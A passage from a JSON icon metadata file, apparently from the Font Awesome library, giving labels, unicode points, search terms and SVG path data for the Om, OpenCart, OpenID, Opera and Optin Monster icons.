0-21.88-2.63-31.95-6.93-6-2.7-11.81-5.89-17.09-9.83-5.75-4.19-11.09-8.96-15.79-14.31-6.53-7.24-11.98-15.39-16.62-23.95-1.07-2.03-2.24-4.02-3.18-6.12-1.16-2.64-2.62-5.14-3.67-7.82-4.05-9.68-6.57-19.94-8.08-30.31-.49-4.44-1.09-8.88-1.2-13.35-.7-15.73.84-31.55 4.67-46.82 2.12-8.15 4.77-16.18 8.31-23.83 6.32-14.2 15.34-27.18 26.3-38.19 6.28-6.2 13.13-11.84 20.53-16.67zm175.37-20.12c2.74.74 5.41 1.74 8.09 2.68 6.36 2.33 12.68 4.84 18.71 7.96 13.11 6.44 25.31 14.81 35.82 24.97 10.2 9.95 18.74 21.6 25.14 34.34 1.28 2.75 2.64 5.46 3.81 8.26 6.31 15.1 10 31.26 11.23 47.57.41 4.54.44 9.09.45 13.64.07 11.64-1.49 23.25-4.3 34.53-1.97 7.27-4.35 14.49-7.86 21.18-3.18 6.64-6.68 13.16-10.84 19.24-6.94 10.47-15.6 19.87-25.82 27.22-10.48 7.64-22.64 13.02-35.4 15.38-3.51.69-7.08 1.08-10.66 1.21-1.85.06-3.72.16-5.56-.1-.28-2.15 0-4.31-.01-6.46-.03-3.73.14-7.45.1-11.17.19-7.02.02-14.05.21-21.07.03-2.38-.03-4.76.03-7.14.17-5.07-.04-10.14.14-15.21.1-2.99-.24-6.04.51-8.96.66-2.5 1.78-4.86 3.09-7.08 4.46-7.31 11.06-12.96 17.68-18.26 5.38-4.18 10.47-8.77 15.02-13.84 7.68-8.37 14.17-17.88 18.78-28.27 2.5-5.93 4.52-12.1 5.55-18.46.86-4.37 1.06-8.83 1.01-13.27-.02-7.85-1.4-15.65-3.64-23.17-1.75-5.73-4.27-11.18-7.09-16.45-3.87-6.93-8.65-13.31-13.96-19.2-9.94-10.85-21.75-19.94-34.6-27.1-1.85-1.02-3.84-1.82-5.63-2.97zm-100.8 58.45c.98-1.18 1.99-2.33 3.12-3.38-.61.93-1.27 1.81-1.95 2.68-3.1 3.88-5.54 8.31-7.03 13.06-.87 3.27-1.68 6.6-1.73 10-.07 2.52-.08 5.07.32 7.57 1.13 7.63 4.33 14.85 8.77 21.12 2 2.7 4.25 5.27 6.92 7.33 1.62 1.27 3.53 2.09 5.34 3.05 3.11 1.68 6.32 3.23 9.07 5.48 2.67 2.09 4.55 5.33 4.4 8.79-.01 73.67 0 147.34-.01 221.02 0 1.35-.08 2.7.04 4.04.13 1.48.82 2.83 1.47 4.15.86 1.66 1.78 3.34 3.18 4.62.85.77 1.97 1.4 3.15 1.24 1.5-.2 2.66-1.35 3.45-2.57.96-1.51 1.68-3.16 2.28-4.85.76-2.13.44-4.42.54-6.63.14-4.03-.02-8.06.14-12.09.03-5.89.03-11.77.06-17.66.14-3.62.03-7.24.11-10.86.15-4.03-.02-8.06.14-12.09.03-5.99.03-11.98.07-17.97.14-3.62.02-7.24.11-10.86.14-3.93-.02-7.86.14-11.78.03-5.99.03-11.98.06-17.97.16-3.94-.01-7.88.19-11.82.29 1.44.13 2.92.22 4.38.19 3.61.42 7.23.76 10.84.32 3.44.44 6.89.86 10.32.37 3.1.51 6.22.95 9.31.57 4.09.87 8.21 1.54 12.29 1.46 9.04 2.83 18.11 5.09 26.99 1.13 4.82 2.4 9.61 4 14.3 2.54 7.9 5.72 15.67 10.31 22.62 1.73 2.64 3.87 4.98 6.1 7.21.27.25.55.51.88.71.6.25 1.31-.07 1.7-.57.71-.88 1.17-1.94 1.7-2.93 4.05-7.8 8.18-15.56 12.34-23.31.7-1.31 1.44-2.62 2.56-3.61 1.75-1.57 3.84-2.69 5.98-3.63 2.88-1.22 5.9-2.19 9.03-2.42 6.58-.62 13.11.75 19.56 1.85 3.69.58 7.4 1.17 11.13 1.41 3.74.1 7.48.05 11.21-.28 8.55-.92 16.99-2.96 24.94-6.25 5.3-2.24 10.46-4.83 15.31-7.93 11.46-7.21 21.46-16.57 30.04-27.01 1.17-1.42 2.25-2.9 3.46-4.28-1.2 3.24-2.67 6.37-4.16 9.48-1.25 2.9-2.84 5.61-4.27 8.42-5.16 9.63-11.02 18.91-17.75 27.52-4.03 5.21-8.53 10.05-13.33 14.57-6.64 6.05-14.07 11.37-22.43 14.76-8.21 3.37-17.31 4.63-26.09 3.29-3.56-.58-7.01-1.69-10.41-2.88-2.79-.97-5.39-2.38-8.03-3.69-3.43-1.71-6.64-3.81-9.71-6.08 2.71 3.06 5.69 5.86 8.7 8.61 4.27 3.76 8.74 7.31 13.63 10.23 3.98 2.45 8.29 4.4 12.84 5.51 1.46.37 2.96.46 4.45.6-1.25 1.1-2.63 2.04-3.99 2.98-9.61 6.54-20.01 11.86-30.69 16.43-20.86 8.7-43.17 13.97-65.74 15.34-4.66.24-9.32.36-13.98.36-4.98-.11-9.97-.13-14.92-.65-11.2-.76-22.29-2.73-33.17-5.43-10.35-2.71-20.55-6.12-30.3-10.55-8.71-3.86-17.12-8.42-24.99-13.79-1.83-1.31-3.74-2.53-5.37-4.08 6.6-1.19 13.03-3.39 18.99-6.48 5.74-2.86 10.99-6.66 15.63-11.07 2.24-2.19 4.29-4.59 6.19-7.09-3.43 2.13-6.93 4.15-10.62 5.78-4.41 2.16-9.07 3.77-13.81 5.02-5.73 1.52-11.74 1.73-17.61 1.14-8.13-.95-15.86-4.27-22.51-8.98-4.32-2.94-8.22-6.43-11.96-10.06-9.93-10.16-18.2-21.81-25.66-33.86-3.94-6.27-7.53-12.75-11.12-19.22-1.05-2.04-2.15-4.05-3.18-6.1 2.85 2.92 5.57 5.97 8.43 8.88 8.99 8.97 18.56 17.44 29.16 24.48 7.55 4.9 15.67 9.23 24.56 11.03 3.11.73 6.32.47 9.47.81 2.77.28 5.56.2 8.34.3 5.05.06 10.11.04 15.16-.16 3.65-.16 7.27-.66 10.89-1.09 2.07-.25 4.11-.71 6.14-1.2 3.88-.95 8.11-.96 11.83.61 4.76 1.85 8.44 5.64 11.38 9.71 2.16 3.02 4.06 6.22 5.66 9.58 1.16 2.43 2.46 4.79 3.55 7.26 1 2.24 2.15 4.42 3.42 6.52.67 1.02 1.4 2.15 2.62 2.55 1.06-.75 1.71-1.91 2.28-3.03 2.1-4.16 3.42-8.65 4.89-13.05 2.02-6.59 3.78-13.27 5.19-20.02 2.21-9.25 3.25-18.72 4.54-28.13.56-3.98.83-7.99 1.31-11.97.87-10.64 1.9-21.27 2.24-31.94.08-1.86.24-3.71.25-5.57.01-4.35.25-8.69.22-13.03-.01-2.38-.01-4.76 0-7.13.05-5.07-.2-10.14-.22-15.21-.2-6.61-.71-13.2-1.29-19.78-.73-5.88-1.55-11.78-3.12-17.51-2.05-7.75-5.59-15.03-9.8-21.82-3.16-5.07-6.79-9.88-11.09-14.03-3.88-3.86-8.58-7.08-13.94-8.45-1.5-.41-3.06-.45-4.59-.64.07-2.99.7-5.93 1.26-8.85 1.59-7.71 3.8-15.3 6.76-22.6 1.52-4.03 3.41-7.9 5.39-11.72 3.45-6.56 7.62-12.79 12.46-18.46zm31.27 1.7c.35-.06.71-.12 1.07-.19.19 1.79.09 3.58.1 5.37v38.13c-.01 1.74.13 3.49-.15 5.22-.36-.03-.71-.05-1.06-.05-.95-3.75-1.72-7.55-2.62-11.31-.38-1.53-.58-3.09-1.07-4.59-1.7-.24-3.43-.17-5.15-.2-5.06-.01-10.13 0-15.19-.01-1.66-.01-3.32.09-4.98-.03-.03-.39-.26-.91.16-1.18 1.28-.65 2.72-.88 4.06-1.35 3.43-1.14 6.88-2.16 10.31-3.31 1.39-.48 2.9-.72 4.16-1.54.04-.56.02-1.13-.05-1.68-1.23-.55-2.53-.87-3.81-1.28-3.13-1.03-6.29-1.96-9.41-3.02-1.79-.62-3.67-1-5.41-1.79-.03-.37-.07-.73-.11-1.09 5.09-.19 10.2.06 15.3-.12 3.36-.13 6.73.08 10.09-.07.12-.39.26-.77.37-1.16 1.08-4.94 2.33-9.83 3.39-14.75zm5.97-.2c.36.05.72.12 1.08.2.98 3.85 1.73 7.76 2.71 11.61.36 1.42.56 2.88 1.03 4.27 2.53.18 5.07-.01 7.61.05 5.16.12 10.33.12 15.49.07.76-.01 1.52.03 2.28.08-.04.36-.07.72-.1 1.08-1.82.83-3.78 1.25-5.67 1.89-3.73 1.23-7.48 2.39-11.22 3.57-.57.17-1.12.42-1.67.64-.15.55-.18 1.12-.12 1.69.87.48 1.82.81 2.77 1.09 4.88 1.52 9.73 3.14 14.63 4.6.38.13.78.27 1.13.49.4.27.23.79.15 1.18-1.66.13-3.31.03-4.97.04-5.17.01-10.33-.01-15.5.01-1.61.03-3.22-.02-4.82.21-.52 1.67-.72 3.42-1.17 5.11-.94 3.57-1.52 7.24-2.54 10.78-.36.01-.71.02-1.06.06-.29-1.73-.15-3.48-.15-5.22v-38.13c.02-1.78-.08-3.58.11-5.37zM65.05 168.33c1.12-2.15 2.08-4.4 3.37-6.46-1.82 7.56-2.91 15.27-3.62 23-.8 7.71-.85 15.49-.54 23.23 1.05 19.94 5.54 39.83 14.23 57.88 2.99 5.99 6.35 11.83 10.5 17.11 6.12 7.47 12.53 14.76 19.84 21.09 4.8 4.1 9.99 7.78 15.54 10.8 3.27 1.65 6.51 3.39 9.94 4.68 5.01 2.03 10.19 3.61 15.42 4.94 3.83.96 7.78 1.41 11.52 2.71 5 1.57 9.47 4.61 13.03 8.43 4.93 5.23 8.09 11.87 10.2 18.67.99 2.9 1.59 5.91 2.17 8.92.15.75.22 1.52.16 2.29-6.5 2.78-13.26 5.06-20.26 6.18-4.11.78-8.29.99-12.46 1.08-10.25.24-20.47-1.76-30.12-5.12-3.74-1.42-7.49-2.85-11.03-4.72-8.06-3.84-15.64-8.7-22.46-14.46-2.92-2.55-5.83-5.13-8.4-8.03-9.16-9.83-16.3-21.41-21.79-33.65-2.39-5.55-4.61-11.18-6.37-16.96-1.17-3.94-2.36-7.89-3.26-11.91-.75-2.94-1.22-5.95-1.87-8.92-.46-2.14-.69-4.32-1.03-6.48-.85-5.43-1.28-10.93-1.33-16.43.11-6.18.25-12.37 1.07-18.5.4-2.86.67-5.74 1.15-8.6.98-5.7 2.14-11.37 3.71-16.93 3.09-11.65 7.48-22.95 12.69-33.84zm363.73-6.44c1.1 1.66 1.91 3.48 2.78 5.26 2.1 4.45 4.24 8.9 6.02 13.49 7.61 18.76 12.3 38.79 13.04 59.05.02 1.76.07 3.52.11 5.29.13 9.57-1.27 19.09-3.18 28.45-.73 3.59-1.54 7.17-2.58 10.69-4.04 14.72-10 29-18.41 41.78-8.21 12.57-19.01 23.55-31.84 31.41-5.73 3.59-11.79 6.64-18.05 9.19-5.78 2.19-11.71 4.03-17.8 5.11-6.4 1.05-12.91 1.52-19.4 1.23-7.92-.48-15.78-2.07-23.21-4.85-1.94-.8-3.94-1.46-5.84-2.33-.21-1.51.25-2.99.53-4.46 1.16-5.74 3.03-11.36 5.7-16.58 2.37-4.51 5.52-8.65 9.46-11.9 2.43-2.05 5.24-3.61 8.16-4.83 3.58-1.5 7.47-1.97 11.24-2.83 7.23-1.71 14.37-3.93 21.15-7 10.35-4.65 19.71-11.38 27.65-19.46 1.59-1.61 3.23-3.18 4.74-4.87 3.37-3.76 6.71-7.57 9.85-11.53 7.48-10.07 12.82-21.59 16.71-33.48 1.58-5.3 3.21-10.6 4.21-16.05.63-2.87 1.04-5.78 1.52-8.68.87-6.09 1.59-12.22 1.68-18.38.12-6.65.14-13.32-.53-19.94-.73-7.99-1.87-15.96-3.71-23.78z"
      }
    },
    "free": ["brands"]
  },
  "om": {
    "aliases": {
      "unicodes": {
        "composite": ["1f549"],
        "secondary": ["10f679"]
      }
    },
    "changes": ["5.3.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Hindu",
        "buddhism",
        "hinduism",
        "jainism",
        "mantra",
        "om",
        "religion"
      ]
    },
    "styles": ["solid"],
    "unicode": "f679",
    "label": "Om",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767603,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M379.3 4.7c-6.2-6.2-16.4-6.2-22.6 0l-16 16c-6.2 6.2-6.2 16.4 0 22.6l16 16c6.2 6.2 16.4 6.2 22.6 0l16-16c6.2-6.2 6.2-16.4 0-22.6l-16-16zM115.2 169.6c8-6 17.9-9.6 28.8-9.6c26.5 0 48 21.5 48 48s-21.5 48-48 48H109.8c-7.6 0-13.8 6.2-13.8 13.8c0 1.5 .2 2.9 .7 4.4l8 24c4.4 13.1 16.6 21.9 30.4 21.9H144h16c35.3 0 64 28.7 64 64s-28.7 64-64 64c-50.8 0-82.7-21.5-102.2-42.8c-9.9-10.8-16.6-21.6-20.9-29.7c-2.1-4-3.6-7.3-4.5-9.6c-.5-1.1-.8-2-1-2.5l-.2-.5 0-.1c-2.6-7.8-10.7-12.3-18.7-10.5C4.4 354.2-.9 361.8 .1 370L16 368C.1 370 .1 370 .1 370l0 0 0 0 0 .1 .1 .4c0 .3 .1 .8 .2 1.3c.2 1.1 .4 2.7 .8 4.6c.8 3.9 2 9.4 3.9 15.9c3.8 13 10.3 30.4 21.3 48C48.7 476.2 89.4 512 160 512c70.7 0 128-57.3 128-128c0-23.3-6.2-45.2-17.1-64h22.6c25.5 0 49.9-10.1 67.9-28.1l26.5-26.5c6-6 14.1-9.4 22.6-9.4H416c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32c-25.7 0-41.4-12.5-51.2-25.6c-5-6.7-8.4-13.4-10.5-18.6c-1.1-2.5-1.8-4.6-2.2-6c-.2-.7-.4-1.2-.5-1.5l-.1-.3 0 0c0 0 0 0 0 0c-1.9-7.3-8.6-12.4-16.2-12.1c-7.6 .3-13.9 5.9-15.1 13.4L336 368c-15.8-2.6-15.8-2.6-15.8-2.6l0 0 0 0 0 .1-.1 .3c0 .3-.1 .6-.2 1.1c-.1 .9-.3 2.1-.4 3.6c-.3 3-.6 7.3-.6 12.4c0 10.1 1.1 23.9 5.8 38.1c4.8 14.3 13.4 29.3 28.6 40.7C368.7 473.3 389.3 480 416 480c53 0 96-43 96-96V288c0-53-43-96-96-96h-5.5c-25.5 0-49.9 10.1-67.9 28.1l-26.5 26.5c-6 6-14.1 9.4-22.6 9.4H245.2c6.9-14.5 10.8-30.8 10.8-48c0-61.9-50.1-112-112-112c-25.2 0-48.5 8.3-67.2 22.4c-14.1 10.6-17 30.7-6.4 44.8s30.7 17 44.8 6.4zM280.9 66.7c-6-4-14-3.5-19.5 1.3s-7 12.7-3.7 19.2L272 80c-14.3 7.2-14.3 7.2-14.3 7.2l0 0 0 0 0 .1 .1 .2 .4 .7c.3 .6 .8 1.4 1.4 2.4c1.2 2 2.9 4.8 5.1 8.2c4.4 6.7 11.1 15.5 20 24.4C302.4 141.1 330.3 160 368 160c31.2 0 56.6-10.4 73.9-20.2c8.7-5 15.6-9.9 20.4-13.8c2.4-1.9 4.3-3.6 5.7-4.9c.7-.6 1.3-1.2 1.7-1.6l.6-.5 .2-.2 .1-.1 0 0 0 0c0 0 0 0-22.6-22.6l22.6 22.6c12.5-12.5 12.5-32.8 0-45.3c-12.4-12.4-32.6-12.5-45.1-.2c-.1 .1-.2 .2-.5 .4c-.5 .5-1.5 1.3-2.8 2.4c-2.7 2.2-6.8 5.2-12.1 8.2C399.4 90.4 384.8 96 368 96c-20.8 0-42.4-7-59.5-14.6c-8.4-3.7-15.4-7.5-20.3-10.3c-2.4-1.4-4.3-2.5-5.6-3.3c-.6-.4-1.1-.7-1.4-.9l-.3-.2 0 0 0 0 0 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M379.3 4.7c-6.2-6.2-16.4-6.2-22.6 0l-16 16c-6.2 6.2-6.2 16.4 0 22.6l16 16c6.2 6.2 16.4 6.2 22.6 0l16-16c6.2-6.2 6.2-16.4 0-22.6l-16-16zM115.2 169.6c8-6 17.9-9.6 28.8-9.6c26.5 0 48 21.5 48 48s-21.5 48-48 48H109.8c-7.6 0-13.8 6.2-13.8 13.8c0 1.5 .2 2.9 .7 4.4l8 24c4.4 13.1 16.6 21.9 30.4 21.9H144h16c35.3 0 64 28.7 64 64s-28.7 64-64 64c-50.8 0-82.7-21.5-102.2-42.8c-9.9-10.8-16.6-21.6-20.9-29.7c-2.1-4-3.6-7.3-4.5-9.6c-.5-1.1-.8-2-1-2.5l-.2-.5 0-.1c-2.6-7.8-10.7-12.3-18.7-10.5C4.4 354.2-.9 361.8 .1 370L16 368C.1 370 .1 370 .1 370l0 0 0 0 0 .1 .1 .4c0 .3 .1 .8 .2 1.3c.2 1.1 .4 2.7 .8 4.6c.8 3.9 2 9.4 3.9 15.9c3.8 13 10.3 30.4 21.3 48C48.7 476.2 89.4 512 160 512c70.7 0 128-57.3 128-128c0-23.3-6.2-45.2-17.1-64h22.6c25.5 0 49.9-10.1 67.9-28.1l26.5-26.5c6-6 14.1-9.4 22.6-9.4H416c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32c-25.7 0-41.4-12.5-51.2-25.6c-5-6.7-8.4-13.4-10.5-18.6c-1.1-2.5-1.8-4.6-2.2-6c-.2-.7-.4-1.2-.5-1.5l-.1-.3 0 0c0 0 0 0 0 0c-1.9-7.3-8.6-12.4-16.2-12.1c-7.6 .3-13.9 5.9-15.1 13.4L336 368c-15.8-2.6-15.8-2.6-15.8-2.6l0 0 0 0 0 .1-.1 .3c0 .3-.1 .6-.2 1.1c-.1 .9-.3 2.1-.4 3.6c-.3 3-.6 7.3-.6 12.4c0 10.1 1.1 23.9 5.8 38.1c4.8 14.3 13.4 29.3 28.6 40.7C368.7 473.3 389.3 480 416 480c53 0 96-43 96-96V288c0-53-43-96-96-96h-5.5c-25.5 0-49.9 10.1-67.9 28.1l-26.5 26.5c-6 6-14.1 9.4-22.6 9.4H245.2c6.9-14.5 10.8-30.8 10.8-48c0-61.9-50.1-112-112-112c-25.2 0-48.5 8.3-67.2 22.4c-14.1 10.6-17 30.7-6.4 44.8s30.7 17 44.8 6.4zM280.9 66.7c-6-4-14-3.5-19.5 1.3s-7 12.7-3.7 19.2L272 80c-14.3 7.2-14.3 7.2-14.3 7.2l0 0 0 0 0 .1 .1 .2 .4 .7c.3 .6 .8 1.4 1.4 2.4c1.2 2 2.9 4.8 5.1 8.2c4.4 6.7 11.1 15.5 20 24.4C302.4 141.1 330.3 160 368 160c31.2 0 56.6-10.4 73.9-20.2c8.7-5 15.6-9.9 20.4-13.8c2.4-1.9 4.3-3.6 5.7-4.9c.7-.6 1.3-1.2 1.7-1.6l.6-.5 .2-.2 .1-.1 0 0 0 0c0 0 0 0-22.6-22.6l22.6 22.6c12.5-12.5 12.5-32.8 0-45.3c-12.4-12.4-32.6-12.5-45.1-.2c-.1 .1-.2 .2-.5 .4c-.5 .5-1.5 1.3-2.8 2.4c-2.7 2.2-6.8 5.2-12.1 8.2C399.4 90.4 384.8 96 368 96c-20.8 0-42.4-7-59.5-14.6c-8.4-3.7-15.4-7.5-20.3-10.3c-2.4-1.4-4.3-2.5-5.6-3.3c-.6-.4-1.1-.7-1.4-.9l-.3-.2 0 0 0 0 0 0z"
      }
    },
    "free": ["solid"]
  },
  "opencart": {
    "changes": ["4.4.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f23d",
    "label": "OpenCart",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014471,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M423.3 440.7c0 25.3-20.3 45.6-45.6 45.6s-45.8-20.3-45.8-45.6 20.6-45.8 45.8-45.8c25.4 0 45.6 20.5 45.6 45.8zm-253.9-45.8c-25.3 0-45.6 20.6-45.6 45.8s20.3 45.6 45.6 45.6 45.8-20.3 45.8-45.6-20.5-45.8-45.8-45.8zm291.7-270C158.9 124.9 81.9 112.1 0 25.7c34.4 51.7 53.3 148.9 373.1 144.2 333.3-5 130 86.1 70.8 188.9 186.7-166.7 319.4-233.9 17.2-233.9z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M423.3 440.7c0 25.3-20.3 45.6-45.6 45.6s-45.8-20.3-45.8-45.6 20.6-45.8 45.8-45.8c25.4 0 45.6 20.5 45.6 45.8zm-253.9-45.8c-25.3 0-45.6 20.6-45.6 45.8s20.3 45.6 45.6 45.6 45.8-20.3 45.8-45.6-20.5-45.8-45.8-45.8zm291.7-270C158.9 124.9 81.9 112.1 0 25.7c34.4 51.7 53.3 148.9 373.1 144.2 333.3-5 130 86.1 70.8 188.9 186.7-166.7 319.4-233.9 17.2-233.9z"
      }
    },
    "free": ["brands"]
  },
  "openid": {
    "changes": ["4.1.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f19b",
    "label": "OpenID",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014477,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M271.5 432l-68 32C88.5 453.7 0 392.5 0 318.2c0-71.5 82.5-131 191.7-144.3v43c-71.5 12.5-124 53-124 101.3 0 51 58.5 93.3 135.7 103v-340l68-33.2v384zM448 291l-131.3-28.5 36.8-20.7c-19.5-11.5-43.5-20-70-24.8v-43c46.2 5.5 87.7 19.5 120.3 39.3l35-19.8L448 291z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M271.5 432l-68 32C88.5 453.7 0 392.5 0 318.2c0-71.5 82.5-131 191.7-144.3v43c-71.5 12.5-124 53-124 101.3 0 51 58.5 93.3 135.7 103v-340l68-33.2v384zM448 291l-131.3-28.5 36.8-20.7c-19.5-11.5-43.5-20-70-24.8v-43c46.2 5.5 87.7 19.5 120.3 39.3l35-19.8L448 291z"
      }
    },
    "free": ["brands"]
  },
  "opera": {
    "changes": ["4.4.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f26a",
    "label": "Opera",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014472,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M313.9 32.7c-170.2 0-252.6 223.8-147.5 355.1 36.5 45.4 88.6 75.6 147.5 75.6 36.3 0 70.3-11.1 99.4-30.4-43.8 39.2-101.9 63-165.3 63-3.9 0-8 0-11.9-.3C104.6 489.6 0 381.1 0 248 0 111 111 0 248 0h.8c63.1.3 120.7 24.1 164.4 63.1-29-19.4-63.1-30.4-99.3-30.4zm101.8 397.7c-40.9 24.7-90.7 23.6-132-5.8 56.2-20.5 97.7-91.6 97.7-176.6 0-84.7-41.2-155.8-97.4-176.6 41.8-29.2 91.2-30.3 132.9-5 105.9 98.7 105.5 265.7-1.2 364z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M313.9 32.7c-170.2 0-252.6 223.8-147.5 355.1 36.5 45.4 88.6 75.6 147.5 75.6 36.3 0 70.3-11.1 99.4-30.4-43.8 39.2-101.9 63-165.3 63-3.9 0-8 0-11.9-.3C104.6 489.6 0 381.1 0 248 0 111 111 0 248 0h.8c63.1.3 120.7 24.1 164.4 63.1-29-19.4-63.1-30.4-99.3-30.4zm101.8 397.7c-40.9 24.7-90.7 23.6-132-5.8 56.2-20.5 97.7-91.6 97.7-176.6 0-84.7-41.2-155.8-97.4-176.6 41.8-29.2 91.2-30.3 132.9-5 105.9 98.7 105.5 265.7-1.2 364z"
      }
    },
    "free": ["brands"]
  },
  "optin-monster": {
    "changes": ["4.4.0", "5.0.0", "5.7.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f23c",
    "label": "Optin Monster",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014469,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M572.6 421.4c5.6-9.5 4.7-15.2-5.4-11.6-3-4.9-7-9.5-11.1-13.8 2.9-9.7-.7-14.2-10.8-9.2-4.6-3.2-10.3-6.5-15.9-9.2 0-15.1-11.6-11.6-17.6-5.7-10.4-1.5-18.7-.3-26.8 5.7.3-6.5.3-13 .3-19.7 12.6 0 40.2-11 45.9-36.2 1.4-6.8 1.6-13.8-.3-21.9-3-13.5-14.3-21.3-25.1-25.7-.8-5.9-7.6-14.3-14.9-15.9s-12.4 4.9-14.1 10.3c-8.5 0-19.2 2.8-21.1 8.4-5.4-.5-11.1-1.4-16.8-1.9 2.7-1.9 5.4-3.5 8.4-4.6 5.4-9.2 14.6-11.4 25.7-11.6V256c19.5-.5 43-5.9 53.8-18.1 12.7-13.8 14.6-37.3 12.4-55.1-2.4-17.3-9.7-37.6-24.6-48.1-8.4-5.9-21.6-.8-22.7 9.5-2.2 19.6 1.2 30-38.6 25.1-10.3-23.8-24.6-44.6-42.7-60C341 49.6 242.9 55.5 166.4 71.7c19.7 4.6 41.1 8.6 59.7 16.5-26.2 2.4-52.7 11.3-76.2 23.2-32.8 17-44 29.9-56.7 42.4 14.9-2.2 28.9-5.1 43.8-3.8-9.7 5.4-18.4 12.2-26.5 20-25.8.9-23.8-5.3-26.2-25.9-1.1-10.5-14.3-15.4-22.7-9.7-28.1 19.9-33.5 79.9-12.2 103.5 10.8 12.2 35.1 17.3 54.9 17.8-.3 1.1-.3 1.9-.3 2.7 10.8.5 19.5 2.7 24.6 11.6 3 1.1 5.7 2.7 8.1 4.6-5.4.5-11.1 1.4-16.5 1.9-3.3-6.6-13.7-8.1-21.1-8.1-1.6-5.7-6.5-12.2-14.1-10.3-6.8 1.9-14.1 10-14.9 15.9-22.5 9.5-30.1 26.8-25.1 47.6 5.3 24.8 33 36.2 45.9 36.2v19.7c-6.6-5-14.3-7.5-26.8-5.7-5.5-5.5-17.3-10.1-17.3 5.7-5.9 2.7-11.4 5.9-15.9 9.2-9.8-4.9-13.6-1.7-11.1 9.2-4.1 4.3-7.8 8.6-11.1 13.8-10.2-3.7-11 2.2-5.4 11.6-1.1 3.5-1.6 7-1.9 10.8-.5 31.6 44.6 64 73.5 65.1 17.3.5 34.6-8.4 43-23.5 113.2 4.9 226.7 4.1 340.2 0 8.1 15.1 25.4 24.3 42.7 23.5 29.2-1.1 74.3-33.5 73.5-65.1.2-3.7-.7-7.2-1.7-10.7zm-73.8-254c1.1-3 2.4-8.4 2.4-14.6 0-5.9 6.8-8.1 14.1-.8 11.1 11.6 14.9 40.5 13.8 51.1-4.1-13.6-13-29-30.3-35.7zm-4.6 6.7c19.5 6.2 28.6 27.6 29.7 48.9-1.1 2.7-3 5.4-4.9 7.6-5.7 5.9-15.4 10-26.2 12.2 4.3-21.3.3-47.3-12.7-63 4.9-.8 10.9-2.4 14.1-5.7zm-24.1 6.8c13.8 11.9 20 39.2 14.1 63.5-4.1.5-8.1.8-11.6.8-1.9-21.9-6.8-44-14.3-64.6 3.7.3 8.1.3 11.8.3zM47.5 203c-1.1-10.5 2.4-39.5 13.8-51.1 7-7.3 14.1-5.1 14.1.8 0 6.2 1.4 11.6 2.4 14.6-17.3 6.8-26.2 22.2-30.3 35.7zm9.7 27.6c-1.9-2.2-3.5-4.9-4.9-7.6 1.4-21.3 10.3-42.7 29.7-48.9 3.2 3.2 9.2 4.9 14.1 5.7-13 15.7-17 41.6-12.7 63-10.8-2.2-20.5-6-26.2-12.2zm47.9 14.6c-4.1 0-8.1-.3-12.7-.8-4.6-18.6-1.9-38.9 5.4-53v.3l12.2-5.1c4.9-1.9 9.7-3.8 14.9-4.9-10.7 19.7-17.4 41.3-19.8 63.5zm184-162.7c41.9 0 76.2 34 76.2 75.9 0 42.2-34.3 76.2-76.2 76.2s-76.2-34-76.2-76.2c0-41.8 34.3-75.9 76.2-75.9zm115.6 174.3c-.3 17.8-7 48.9-23 57-13.2 6.6-6.5-7.5-16.5-58.1 13.3.3 26.6.3 39.5 1.1zm-54-1.6c.8 4.9 3.8 40.3-1.6 41.9-11.6 3.5-40 4.3-51.1-1.1-4.1-3-4.6-35.9-4.3-41.1v.3c18.9-.3 38.1-.3 57 0zM278.3 309c-13 3.5-41.6 4.1-54.6-1.6-6.5-2.7-3.8-42.4-1.9-51.6 19.2-.5 38.4-.5 57.8-.8v.3c1.1 8.3 3.3 51.2-1.3 53.7zm-106.5-51.1c12.2-.8 24.6-1.4 36.8-1.6-2.4 15.4-3 43.5-4.9 52.2-1.1 6.8-4.3 6.8-9.7 4.3-21.9-9.8-27.6-35.2-22.2-54.9zm-35.4 31.3c7.8-1.1 15.7-1.9 23.5-2.7 1.6 6.2 3.8 11.9 7 17.6 10 17 44 35.7 45.1 7 6.2 14.9 40.8 12.2 54.9 10.8 15.7-1.4 23.8-1.4 26.8-14.3 12.4 4.3 30.8 4.1 44 3 11.3-.8 20.8-.5 24.6-8.9 1.1 5.1 1.9 11.6 4.6 16.8 10.8 21.3 37.3 1.4 46.8-31.6 8.6.8 17.6 1.9 26.5 2.7-.4 1.3-3.8 7.3 7.3 11.6-47.6 47-95.7 87.8-163.2 107-63.2-20.8-112.1-59.5-155.9-106.5 9.6-3.4 10.4-8.8 8-12.5zm-21.6 172.5c-3.8 17.8-21.9 29.7-39.7 28.9-19.2-.8-46.5-17-59.2-36.5-2.7-31.1 43.8-61.3 66.2-54.6 14.9 4.3 27.8 30.8 33.5 54 0 3-.3 5.7-.8 